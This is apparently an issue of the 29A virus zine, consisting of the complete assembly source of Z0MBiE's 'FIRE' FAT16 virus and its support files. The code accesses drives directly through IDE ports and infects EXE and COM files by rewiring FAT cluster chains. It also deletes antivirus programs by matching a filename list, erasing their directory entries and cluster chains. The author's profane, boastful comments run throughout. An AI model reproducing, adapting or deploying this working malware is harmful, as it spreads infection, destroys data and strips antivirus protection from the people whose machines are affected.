Copy Link
Add to Bookmark
Report
29A Issue 03 06 02
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ
;-----------------------------------------------------------------------------
; [FIRE] FAT16 Independent Replicative Emulator Copyright (c) 1998 Z0MBiE
; Release 1.00[BETA] *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A ***
; Thanx to S.S.R. & LordASD HomePage: http://www.chat.ru/~z0mbie
;-----------------------------------------------------------------------------
;
; THIS VIRUS TECHNOLOGY DEDICATED TO 29A GROUP
;
; *** Program ***
;
; 1. Using IDE IO-port access method find all physical IDE drives
; 2. For each physical drive find all logical disks with FAT16 system
; 3. For each logical disk scan directory tree with selected
; max directory level
; 5. Delete all AV-files (by filemasks), including file name/cluster chain
; 6. Infect each EX?/CO? file (with selected min. size)
;
; *** Infection Method ***
;
; 1. Allocate some free cluster(s) in the FAT
; 2. FAT.LastOurCluster <- DirEntry.StartCluster
; 3. DirEntry.StartCluster <- 1stOurCluster
;
DEBUG equ YES ; debug mode
IFDEF DEBUG
START_DRIVE equ 'E' ; start scanning
ELSE ; from logical drive
START_DRIVE equ 'C'
ENDIF
virsize equ 16384 ; total virus size
o equ (word ptr 0) ; to access DWORDs
s equ (word ptr 2)
exe_struc struc ; dos exe header
exe_mz dw ? ; MZ/ZM
exe_last512 dw ?
exe_num512 dw ?
exe_relnum dw ?
exe_headersize dw ? ; in PAR
exe_minmem dw ?
exe_maxmem dw ?
exe_ss dw ?
exe_sp dw ?
exe_checksum dw ? ; 0
exe_ip dw ?
exe_cs dw ?
exe_relofs dw ?
exe_ovrnum dw ? ; 0
db 32 dup (?)
exe_neptr dd ?
ends
model tiny ; header
p386
jumps
locals __
code segment byte public use16;code segment
assume cs:code, ds:code, ss:code, es:code
org 100h
start:
virus: db 'MZ' ; lets generate .exe program
dw 0
dw virsize / 512
dw 0
dw 0
dw virmemory
dw virmemory
dw 0fff0h
dw exe_endofstack
dw 0
dw exe_entrypoint
dw 0fff0h
dw 40h
dw 0
db 32 dup (0)
dd 0
C_INFECTED_ID equ 1234h ; infected file ID
infected_id dw C_INFECTED_ID
FTYPE db ?
exe_entrypoint: mov ax, 1600h ; windows :-?
int 2fh
or al, al ; dos
jz DOS_START
cmp al, 4 ; win95...
je WIN4_START
; win3, etc.
EXIT: mov ax, 4c00h ; exit to DOS
int 21h
WIN4_START: jmp EXIT ; not implemented yet
win_msg db 'This program requires Microsoft Windows.',13,10,'$'
DOS_START: mov ah, 9 ; fucking message
lea dx, win_msg
int 21h
IFDEF DEBUG ; initialize PUTCHAR
mov cs:putchar_ptr, offset dos_putchar
ENDIF
call dos_alloc ; allocate memory (dos)
jc EXIT
call main ; main subprogram
call dos_dealloc ; deallocate memory
jmp EXIT ; exit
main: mov level0_drive, 0 ; scan HD: 0,1,2,3
__1: call process_0
inc level0_drive ; bit0 = master/slave
cmp level0_drive, 3 ; bit1 = primary/secondary
jbe __1
ret
process_0: call level0_init ; initialize hardware
jc __exit
IFDEF DEBUG ; fucking message
movzx ax, level0_drive
add al, '0'
push ax
call printf
db 'Processing physical drive %c\n$'
ENDIF
call level2_init ; recursive scan for logical
jc __exit ; disks
mov cx, START_DRIVE-'C' ; start drive
__1: cmp cx, level2_drivecount ; cycle
jae __exit
push cx
IFDEF DEBUG ; fucking message
mov ax, cx
add al, 'C'
push ax
call printf
db 'Processing logical drive %c:\n$'
ENDIF
mov level2_drive, cx ; initialize "basesector"
call level2_initdrive
call level3_init ; initialize level3-access
jc __2
IFDEF DEBUG ; fucking message
call printf
db 'Compatibility test done\n$'
ENDIF
call rulez_forever ; best subprogram in the world
__2: IFDEF DEBUG ; fucking message
call printf
db 'Drive processed\n$'
ENDIF
pop cx ; end of cycle
inc cx
jmp __1
__exit: ret
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
; recursive scan directory tree
rulez_forever: IFDEF DEBUG ; fucking message
call printf
db 'Executing RULEZ_FOREVER\n$'
ENDIF
mov _rec, 0 ; recurse level
mov bp, ROOT ; start from ROOT directory
call process_dir
IFDEF DEBUG ; fucking message
call printf
db 'RULEZ_FOREVER Executed\n$'
ENDIF
ret
; this is recursive subprogram
process_dir: IFDEF DEBUG ; fucking message
push _rec
push bp
call printf
db 'Executing PROCESS_DIR [cluster %iw04h0], RECURSIVE %iw00d\n$'
ENDIF
call __read ; read directory cluster (bp)
lgs si, dir_ptr ; gs:si = directory cluster
mov ecx, level3_sectpercluster ; cx=#direntries
shl cx, 4
__cycle:
; check for valid filename
cmp gs:[si].direntry_name, char_DELETED
je __cont
cmp gs:[si].direntry_name, char_NOFILE
je __exit
; check for AV filename, CF=1 - file is fucked
call TRY_TO_FUCK_FILE
jc __cont
; zero-length file or directory link to ROOT
cmp gs:[si].direntry_cluster, 0 ; zero-file
je __cont
; file attribute
mov al, gs:[si].direntry_attr
test al, fa_volumeid ; volumeid, long-filename
jnz __cont
test al, fa_directory ; directory?
jnz __directory
; yes! file!
MINSIZE equ 1024
cmp gs:[si].direntry_size, MINSIZE ; check size
jb __cont
; normal attributes?
test al, not (fa_archive + fa_hidden + fa_system + fa_readonly)
jz __file
__cont: add si, 32 ; cycle
loop __cycle
; flush directory cluster if modified
call TRY_TO_FLUSH_DIR_CACHE
; root? - exit!
cmp bp, ROOT
je __exit
; READ NEXT DIRECTORY CLUSTER
mov bx, bp ; get nextcluster value
call level3_cluster_get
cmp ax, EOF ; end of directory?
je __exit
mov bp, ax ; process next dircluster
jmp process_dir
__exit: ; flush directory cluster if modified
call TRY_TO_FLUSH_DIR_CACHE
ret
__file: IFDEF DEBUG ; fucking message
push word ptr gs:[si].direntry_cluster
push gs
push si
call printf
db '%s11 %iw04h0\n$'
ENDIF
; get extension
mov ax, word ptr gs:[si].direntry_ext
cmp ax, 'XE'
je __ext_ok
cmp ax, 'OC'
je __ext_ok
jmp __cont
__ext_ok: IFDEF DEBUG ; fucking message
call printf
db 'Extension checked - OK\n$'
ENDIF
; read 1st file cluster
pusha
mov ax, gs:[si].direntry_cluster
mov level3_cluster, ax
mov level3_count, 1
push buf_ptr
pop level3_ptr
call level3_read
popa
; fs:bx = @file cluster
lfs bx, buf_ptr
; "INFECTED" id ?
cmp word ptr fs:[bx + infected_id-virus], C_INFECTED_ID
je __cont
; determine com or exe file
cmp fs:[bx].exe_mz, 'MZ'
je __mz
cmp fs:[bx].exe_mz, 'ZM'
je __mz
mov FTYPE, 'c'
jmp __not_mz
__mz: mov FTYPE, 'e'
__not_mz:
IFDEF DEBUG ; hehe... be curefull!
pusha
lea si, fs:[bx].byte ptr 20h
lea di, z0mbie_id
mov cx, z0mbie_id_len
segfs
rep cmpsb
popa
jne __cont
ENDIF
__super_infect: IFDEF DEBUG ; fucking message
call printf
db '*** Executing SUPER_INFECT ***\n$'
ENDIF
; now infect fucking file...
pushad
; calculate bytes per cluster
mov eax, level3_sectpercluster
shl eax, 9
mov __cluster_size, eax
; calculate # of clusters needed
xor eax, eax
__rep: inc eax
mov ecx, eax
imul ecx, __cluster_size
cmp ecx, virsize
jb __rep
mov __clust_need, eax
; increase file size
add gs:[si].direntry_size, ecx
; lfs bx, buf_ptr
; add ecx, fs:[bx].exe_neptr
; mov neptr, ecx
; store dircluster
mov bx, gs:[si].direntry_cluster
mov __dircluster, bx
; pointer to virus
mov level3_ptr.o, offset virus
mov level3_ptr.s, cs
; NOW CREATE CLUSTER CHAIN
xor bx, bx ; no cluster
__next_cluster: call __find_free_cluster ; find free cluster
jc __infected
mov ax, __freecluster ; write virus part
mov level3_cluster, ax ; to this cluster
mov level3_count, 1
call level3_write
mov eax, __cluster_size ; increase virus pointer
shr eax, 4 ; by cluster size
add level3_ptr.s, ax
mov ax, __freecluster
or bx, bx
jnz __not1st
mov __1stcluster, ax ; 1st cluster
mov bx, ax ; temporary init with EOF
mov ax, EOF
__not1st: call level3_cluster_set ; used to create links
mov bx, __freecluster
dec __clust_need ; end of cycle
jnz __next_cluster
mov ax, __dircluster ; set link to dircluster
call level3_cluster_set
mov ax, __1stcluster ; set new dircluster
mov gs:[si].direntry_cluster, ax
mov CACHE_MODIFIED, 1 ; of coz cache now modified
__infected: popad ; thats all!!!
jmp __cont
__1stcluster dw ? ; some vars used in infection
__cluster_size dd ?
__clust_need dd ?
__dircluster dw ?
__freecluster dw ?
__find_free_cluster: pushad ; subprogram to find free cluster
mov bx, 2 ; scan all clusters
__q: call level3_cluster_get
or ax, ax
jz __found
inc bx
cmp bx, word ptr level3_totalclusters
jae __no_free_cluster
jmp __q
__found: mov __freecluster, bx
popad
clc ; sucess
ret
__no_free_cluster: popad
stc ; mustdie
ret
; if found directory
__directory: IFDEF DEBUG ; fucking message
push word ptr gs:[si].direntry_cluster
push gs
push si
call printf
db '%s11 %iw04h0% <DIRECTORY>\n$'
ENDIF
; '.' and '..' is sux
cmp gs:[si].direntry_name, '.'
je __cont
; check for max recurse level
MAX_RECURSIVE equ 5
cmp _rec, MAX_RECURSIVE
jae __cont
; flush cache if modified
call TRY_TO_FLUSH_DIR_CACHE
; scan directory
pushad
inc _rec
mov bp, gs:[si].direntry_cluster
call process_dir
dec _rec
popad
; read directory cluster (becoz its modified)
call __read
IFDEF DEBUG ; fucking message
call printf
db 'Back from recursive subprogram\n$'
ENDIF
jmp __cont
; read directory cluster
__read: mov level3_cluster, bp
mov level3_count, 1
push dir_ptr
pop level3_ptr
call level3_read
mov CACHE_MODIFIED, 0
ret
; write directory cluster if modified
TRY_TO_FLUSH_DIR_CACHE: cmp CACHE_MODIFIED, 0
je __exit
mov CACHE_MODIFIED, 0
mov level3_cluster, bp
mov level3_count, 1
push dir_ptr
pop level3_ptr
call level3_write
__exit: ret
; ---------------------------------------------------------------------------
; input: GS:[SI]
; output: CF=1 - file fucked
; scan for AV-files
TRY_TO_FUCK_FILE: pushad
; hehe.. DRWEB 4.00!
cmp gs:[si].direntry_time, 2000h ; 4:00 am
je __fuck_it
lea di, fucked
__next_f: pusha
xor bx, bx
__next: mov al, [bx+di]
cmp al, '?'
je __equ
mov ah, gs:[si+bx]
cmp ah, 'a'
jb __cmp
cmp ah, 'z'
ja __cmp
add ah, 'A'-'a'
__cmp: cmp al, ah
jne __rt
__equ: inc bx
cmp bx, 11
jb __next
; e
__rt: popa
je __fuck_it
add di, 11
cmp di, offset fucked_end
jb __next_f
popad
clc
ret
; FUCK AV-file
__fuck_it: mov CACHE_MODIFIED, 1
mov bx, gs:[si].direntry_cluster
; kill namme
mov di, si
mov cx, 32
__1: mov byte ptr gs:[di], 0
inc di
loop __1
mov gs:[si].direntry_name, char_DELETED
or bx, bx ; zero-file
je __eof
; kill cluster links
__killnext: call level3_cluster_get
pusha
xor ax, ax
call level3_cluster_set
popa
cmp ax, EOF
je __eof
mov bx, ax
jmp __killnext
__eof:
popad
stc
ret
; ---------------------------------------------------------------------------
; AV-files - KILL`EM ALL !!!
fucked: db 'ANTI???????'
db 'DRWEB??????'
db 'WEB?????EXE'
db 'AIDS???????'
db 'AVP????????'
db 'SCAN???????'
db 'ADIN???????'
db 'FPROT??????'
db 'TBAV???????'
db 'VIR????????'
db '????????327'
db '????????AVC'
db '????????WEB'
db '????????MS '
db '????????CPS'
fucked_end:
; ---------------------------------------------------------------------------
IFDEF DEBUG ; dont kill your hd, baby...
z0mbie_id db 'Z0MBiE#ID1234'
z0mbie_id_len equ $-z0mbie_id
ENDIF
; ---------------------------------------------------------------------------
; never change it, sucker...
db 13,10
db '-----------------------------------------------------------------------------',13,10
db ' [FIRE] FAT16 Independent Replicative Emulator Copyright (c) 1998 Z0MBiE ',13,10
db ' Release 1.00[BETA] *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A *** ',13,10
db ' Thanx to S.S.R. & LordASD HomePage: http://www.chat.ru/~z0mbie ',13,10
db '-----------------------------------------------------------------------------',13,10
db 13,10
; ---------------------------------------------------------------------------
include malloc.inc ; <- dos memory allocation
include fatsys.inc ; <- file system emulator
IFDEF DEBUG ; <- screen output routines
include stdio.inc
ENDIF
; end of virus (EOV) mark
org start+virsize-3
db 'EOV'
codeend:
; ---------------------------------------------------------------------------
datastart:
; stack
even
db 1024 dup (?)
exe_endofstack:
; variables
include FATSYS.VAR
_rec dw ? ; recurse level
CACHE_MODIFIED db ? ; flag
; thats all
dataend:
virmemory equ (dataend-datastart+15)/16
; ---------------------------------------------------------------------------
code ends
end start
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[malloc.asm]ÄÄ
dos_alloc: mov ah, 48h
mov bx, 2000h
int 21h
jc __exit
mov dosalloc_seg, ax
mov dir_ptr.o, 0
mov dir_ptr.s, ax
add ax, 1000h
mov buf_ptr.o, 0
mov buf_ptr.s, ax
__exit: ret
dos_dealloc: mov ah, 49h
mov es, dosalloc_seg
int 21h
push cs
pop es
ret
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[malloc.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.inc]ÄÄ
; filesystem access unit
; Access Address
; Method Type Target Start
; -------- -------- ----------- -----------
; Level 0: IO-Ports Physical HD c=0:h=0:s=1
; Level 1: Level0 Logical HD s=0
; Level 2: Level1 Logical Partition s=0
; Level 3: Level2 Logical FAT,Cluster cluster=2
;MIN_SECT_PER_CLUST equ 8 ; 4k MIN
MAX_SECT_PER_CLUST equ 128 ; 64k MAX
direntry_name equ (byte ptr 00h) ; directory entry
direntry_ext equ (byte ptr 08h)
direntry_attr equ (byte ptr 0Bh)
direntry_time equ (word ptr 16h)
direntry_cluster equ (word ptr 1Ah)
direntry_size equ (dword ptr 1Ch)
char_DELETED equ 0E5h ; some constants
char_NOFILE equ 0
fa_readonly equ 00000001b ; file attributes
fa_hidden equ 00000010b
fa_system equ 00000100b
fa_volumeid equ 00001000b
fa_directory equ 00010000b
fa_archive equ 00100000b
ROOT equ 0 ; root dir cluster
EOF equ -1 ; EOF cluster
; ---------------------------------------------------------------------------
level0_getcmdport: mov dx, 1F7h ; master
test level0_drive, 10b
jz __1
mov dx, 177h ; slave
__1: ret
level0_calcdrive: xor al, al ; primary/secondary
bt word ptr level0_drive, 0
rcl al, 5
or al, 10100000b
ret
level0_init: call level0_getcmdport
__1: in al, dx ; busy
test al, 00000001b
jnz __error
test al, 10000000b
jnz __1
dec dx ; drive #
call level0_calcdrive
out dx, al
inc dx ; ready
xor cx, cx
__2: dec cx
jz __error
in al, dx
test al, 00000001b
jnz __error
test al, 01000000b
jz __2
mov al, 0ECh ; indentify drive
out dx, al
__3: in al, dx ; data
test al, 00000001b
jnz __error
test al, 00001000b
jz __3
sub dl, 7 ; read
lea di, level0_driveinfo
mov cx, 256/2
rep insw
clc
ret
__error: stc
ret
level0_read: call io_mask
call level0_rw
jc __error
mov al, 20h ; read
out dx, al
mov si, level0_count
les di, level0_ptr
__3: in al, dx ; data
test al, 00000001b
jnz __error
test al, 00001000b
jz __3
sub dl, 7
mov cx, 512/2 ; read
rep insw
add dl, 7
dec si
jnz __3
push cs
pop es
call io_unmask
clc
ret
__error: call io_unmask
stc
ret
level0_write: call io_mask
call level0_rw
jc __error
mov al, 30h ; write
out dx, al
mov di, level0_count
les si, level0_ptr
__3: in al, dx ; ready?
test al, 00000001b
jnz __error
test al, 00001000b
jz __3
sub dl, 7
mov cx, 512/2 ; write
seges
rep outsw
add dl, 7
dec di
jnz __3
push cs
pop es
call io_unmask
clc
ret
__error: call io_unmask
stc
ret
io_mask: in al, 21h
mov level0_port21, al
in al, 0A1h
mov level0_portA1, al
mov al, 0FFh
out 21h, al
out 0A1h, al
ret
io_unmask: mov al, level0_port21
out 21h, al
mov al, level0_portA1
out 0A1h, al
ret
level0_rw: call level0_getcmdport
__1: in al, dx
test al, 00000001b
jnz __error
test al, 10000000b
jnz __1
sub dl, 5 ; sector count
mov al, byte ptr level0_count
out dx, al
inc dx ; sector
mov al, byte ptr level0_sector
out dx, al
inc dx ; cylinder - lo
mov ax, level0_cylinder
out dx, al
inc dx ; cylinder - hi
mov al, ah
out dx, al
inc dx ; drive #
call level0_calcdrive
or al, byte ptr level0_head
out dx, al
inc dx ; ready
__2: in al, dx
test al, 00000001b
jnz __error
test al, 01000000b
jz __2
clc
ret
__error: stc
ret
; ---------------------------------------------------------------------------
level1_read: call level1_rw
call level0_read
ret
level1_write: call level1_rw
call level0_write
ret
level1_rw: push level1_ptr
pop level0_ptr
mov ax, level1_count
mov level0_count, ax
mov eax, level1_sector
cdq
movzx ecx, level0_max_sector
div ecx
inc dx
mov level0_sector, dx
xor edx, edx
movzx ecx, level0_max_head
div ecx
mov level0_head, dx
mov level0_cylinder, ax
ret
; ---------------------------------------------------------------------------
level2_init: mov level2_drivecount, 0
lea di, level2_drivestart
xor ebp, ebp
call level2_recscan
clc
ret
level2_recscan: call __read
cmp level2_mbr.word ptr 512-2, 0AA55h
jne __exit
lea si, level2_mbr + 512 - 2 - 64
mov cx, 4
__scan_ptable: push cx
push si
mov al, [si].byte ptr 4
; cmp al, 1 ; fat12
; je __found_drive
cmp al, 4 ; fat16
je __found_drive
cmp al, 6 ; bigdos
je __found_drive
cmp al, 5 ; extended
je __found_ext
__scan_next: pop si
pop cx
cmp level2_drivecount, 26
jae __exit
add si, 16
loop __scan_ptable
__exit: ret
__read: pushad
mov level1_sector, ebp
mov level1_count, 1
mov level1_ptr.o, offset level2_mbr
mov level1_ptr.s, cs
call level1_read
popad
ret
__found_drive: mov eax, [si].dword ptr 8
add eax, ebp
; scan drives to avoid recursive extended
pusha
lea di, level2_drivestart
mov cx, level2_drivecount
repnz scasd
popa
jz __scan_next
inc level2_drivecount
stosd
jmp __scan_next
__found_ext: push ebp
add ebp, [si].dword ptr 8
call level2_recscan
pop ebp
call __read
jmp __scan_next
level2_initdrive: mov bx, level2_drive
shl bx, 2
push level2_drivestart[bx]
pop level2_basesector
ret
level2_read: call level2_rw
call level1_read
ret
level2_write: call level2_rw
call level1_write
ret
level2_rw: push level2_ptr
pop level1_ptr
mov eax, level2_sector
add eax, level2_basesector
mov level1_sector, eax
push level2_count
pop level1_count
ret
; ---------------------------------------------------------------------------
level3_init: mov level2_sector, 0
mov level2_count, 1
mov level2_ptr.o, offset level3_boot
mov level2_ptr.s, cs
call level2_read
jc __error
lea bx, level3_boot
cmp [bx].word ptr 512-2, 0AA55h
jne __error
lea si, [bx].byte ptr 36h
lea di, FAT16_ID
mov cx, 8
rep cmpsb
je __FAT16
jmp __error
__FAT16: movzx eax, [bx].word ptr 0Eh
mov level3_reserved, eax
xor eax, eax
mov al, [bx].byte ptr 0Dh
mov level3_sectpercluster, eax
; cmp eax, MIN_SECT_PER_CLUST
; jb __error
cmp eax, MAX_SECT_PER_CLUST
ja __error
mov al, [bx].byte ptr 10h
mov level3_fatcopies, eax
mov ax, [bx].word ptr 11h
mov level3_rootdirentries, eax
shl eax, 5
add eax, 511
shr eax, 9
mov level3_rootdirsectors, eax
cmp eax, MAX_SECT_PER_CLUST
ja __error
movzx eax, [bx].word ptr 16h
mov level3_sectperfat, eax
mov eax, level3_sectperfat
imul eax, level3_fatcopies
add eax, level3_reserved
mov level3_rootstart, eax
add eax, level3_rootdirsectors
mov level3_datastart, eax
movzx eax, [bx].word ptr 13h
or ax, ax
jnz __1
mov eax, [bx].dword ptr 20h
__1: mov level3_totalsectors, eax
sub eax, level3_datastart
xor edx, edx
mov ecx, level3_sectpercluster
div ecx
mov level3_totalclusters, eax
mov level3_cachesector, -1
clc
ret
__error: stc
ret
; input: bx=cluster
; output: ax=value
level3_cluster_get: call level3_read_fat_sector
push bx
call level3_calcfat_LO
mov ax, word ptr level3_cache[bx]
pop bx
ret
; input: bx=cluster
; ax=value
level3_cluster_set: call level3_read_fat_sector
push bx
call level3_calcfat_LO
mov word ptr level3_cache[bx], ax
pop bx
call level3_write_fat_sector
ret
level3_calcfat_HI: movzx eax, bx ; fat sector #
shr eax, 8
ret
level3_calcfat_LO: and bx, 255
shl bx, 1
ret
; input: ebx=cluster #
level3_read_fat_sector: pushad
call level3_calcfat_HI
add eax, level3_reserved ; partition sector #
cmp level3_cachesector, eax
je __skip
mov level3_cachesector, eax
mov level2_sector, eax
mov level2_count, 1
mov level2_ptr.o, offset level3_cache
mov level2_ptr.s, cs
call level2_read
__skip: popad
ret
level3_write_fat_sector:pushad
call level3_calcfat_HI
add eax, level3_reserved ; partition sector #
mov level2_sector, eax
mov level2_count, 1
mov level2_ptr.o, offset level3_cache
mov level2_ptr.s, cs
mov ecx, level3_fatcopies
__1: pushad
call level2_write
popad
mov eax, level3_sectperfat
add level2_sector, eax
loop __1
popad
ret
level3_read: pushad
call level3_calc
call level2_read
popad
ret
level3_write: pushad
call level3_calc
call level2_write
popad
ret
level3_calc: push level3_ptr
pop level2_ptr
cmp level3_cluster, ROOT
je __root
movzx eax, level3_count
imul eax, level3_sectpercluster
mov level2_count, ax
movzx eax, level3_cluster
sub eax, 2
xor edx, edx
mov ecx, level3_sectpercluster
mul ecx
add eax, level3_datastart
mov level2_sector, eax
ret
__root: mov eax, level3_rootdirsectors
mov level2_count, ax
mov eax, level3_rootstart
mov level2_sector, eax
ret
; ---------------------------------------------------------------------------
FAT16_ID db 'FAT16 '
; ---------------------------------------------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[stdio.inc]ÄÄ
; \n 13,10
; $ = end of line
; %% %
; \\ \
; %c character
; %sNN string (DWORD PTR)
; %sz ascii-z string (DWORD PTR)
; %i[-]bNNb? ?=lchar, used only if NN <> 0
; w d
; d h
;
; ---------------------------------------------------------------------------
_get_char_ macro
segcs lodsb
cmp al, '$'
je __exit
endm
printf: mov cs:_save_si, si
pop si
mov cs:_save_eax, eax
mov cs:_save_cx, cx
cld
__getchar: _get_char_
cmp al, '%'
je __control_1
cmp al, '\'
je __control_2
__putchar: call cs:putchar_ptr
jmp __getchar
__exit: mov eax, cs:_save_eax
mov cx, cs:_save_cx
push si
mov si, cs:_save_si
ret
__control_1: _get_char_
cmp al, '%'
je __putchar
cmp al, 'c'
je __c
cmp al, 's'
je __s
cmp al, 'i'
je __n
jmp __putchar
__s: _get_char_
cmp al, 'z'
je __sz
sub al, '0'
mov ah, al
_get_char_
sub al, '0'
aad 10
movzx eax, ax
mov cs:_len, eax
mov cs:_s_si, si
mov cs:_s_ds, ds
pop si
pop ds
mov ecx, cs:_len
jcxz __a1
__a2: lodsb
call cs:putchar_ptr
loop __a2
__a1: mov si, cs:_s_si
mov ds, cs:_s_ds
jmp __getchar
__sz:
mov cs:_s_si, si
mov cs:_s_ds, ds
pop si
pop ds
__b2: lodsb
or al, al
jz __b1
call cs:putchar_ptr
jmp __b2
__b1: mov si, cs:_s_si
mov ds, cs:_s_ds
jmp __getchar
__c: pop ax
call cs:putchar_ptr
jmp __getchar
__n: mov cs:_sign, 0
_get_char_
cmp al, '-'
je __ns
jmp __nu
__ns: mov cs:_sign, 1
_get_char_
__nu: cmp al, 'b'
je __b
cmp al, 'w'
je __w
cmp al, 'd'
je __d
jmp __putchar
__b: cmp cs:_sign, 1
je __bs
pop ax
movzx ax, al
movzx eax, ax
jmp __i
__w: cmp cs:_sign, 1
je __ws
pop ax
movzx eax, ax
jmp __i
__d: cmp cs:_sign, 1
je __ds
pop eax
jmp __i
__bs: pop ax
movsx ax, al
movsx eax, ax
jmp __i
__ws: pop ax
movsx eax, ax
jmp __i
__ds: pop eax
jmp __i
__i: mov cs:_number, eax
_get_char_
sub al, '0'
mov ah, al
_get_char_
sub al, '0'
aad 10
movzx eax, ax
mov cs:_len, eax
_get_char_
mov cs:_base, 2
cmp al, 'b'
je __ok
mov cs:_base, 10
cmp al, 'd'
je __ok
mov cs:_base, 16
cmp al, 'h'
je __ok
jmp __putchar
__ok: cmp cs:_len, 0
je __ok2
_get_char_
mov cs:_lchar, al
__ok2:
call write_number
jmp __getchar
__control_2: _get_char_
cmp al, 'n'
je __crlf
jmp __putchar
__crlf: mov al, 13
call cs:putchar_ptr
mov al, 10
call cs:putchar_ptr
jmp __getchar
; ---------------------------------------------------------------------------
dos_putchar: pusha
mov ah, 2
mov dl, al
int 21h
popa
ret
boot_putchar: pusha
mov ah, 0Eh
mov bx, 7
int 10h
popa
ret
; ---------------------------------------------------------------------------
write_number: pushad
mov eax, cs:_number
cmp cs:_sign, 0
je __0
or eax, eax
jge __0
mov cs:_sign, '-'
dec cs:_len
neg eax
__0: mov ebx, cs:_base
xor esi, esi
__1: xor edx, edx
div ebx
push edx
inc esi
or eax, eax
jnz __1
cmp cs:_sign, '-'
jne __6
cmp cs:_len, 0
je __6a
cmp cs:_lchar, ' '
je __6
__6a: mov al, '-'
call cs:putchar_ptr
__6:
mov ecx, cs:_len
sub ecx, esi
jle __3
__2: mov al, cs:_lchar
call cs:putchar_ptr
loop __2
__3:
cmp cs:_sign, '-'
jne __5
cmp cs:_lchar, ' '
jne __5
mov al, '-'
call cs:putchar_ptr
__5:
mov ecx, esi
__4: pop ebx
mov al, cs:hexchar[bx]
call cs:putchar_ptr
loop __4
popad
ret
; ---------------------------------------------------------------------------
hexchar db '0123456789ABCDEF'
; ---------------------------------------------------------------------------
putchar_ptr dw ?
_s_si dw ?
_s_ds dw ?
_save_eax dd ?
_save_cx dw ?
_save_si dw ?
_sign db ?
_number dd ?
_base dd ?
_len dd ?
_lchar db ?
; ---------------------------------------------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[stdio.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.var]ÄÄ
; ---------------------------------------------------------------------------
level0_drive db ?
level0_driveinfo db 256 dup (?)
level0_max_cylinder equ level0_driveinfo.word ptr 02h
level0_max_head equ level0_driveinfo.word ptr 06h
level0_max_sector equ level0_driveinfo.word ptr 0Ch
level0_cylinder dw ?
level0_head dw ?
level0_sector dw ?
level0_count dw ?
level0_ptr dd ?
level0_port21 db ?
level0_portA1 db ?
; ---------------------------------------------------------------------------
level1_sector dd ?
level1_count dw ?
level1_ptr dd ?
; ---------------------------------------------------------------------------
level2_drivecount dw ?
level2_drivestart dd 26 dup (?)
level2_drive dw ?
level2_basesector dd ?
level2_sector dd ?
level2_count dw ?
level2_ptr dd ?
level2_mbr db 512 dup (?)
; ---------------------------------------------------------------------------
level3_boot db 512 dup (?)
level3_reserved dd ?
level3_sectperfat dd ?
level3_fatcopies dd ?
level3_rootdirentries dd ?
level3_rootdirsectors dd ?
level3_sectpercluster dd ?
level3_rootstart dd ?
level3_datastart dd ?
level3_totalsectors dd ?
level3_totalclusters dd ?
level3_cachesector dd ?
level3_cache db 512 dup (?)
level3_cluster dw ?
level3_count dw ?
level3_ptr dd ?
; ---------------------------------------------------------------------------
dosalloc_seg dw ?
dir_ptr dd ?
buf_ptr dd ?
; ---------------------------------------------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.var]ÄÄ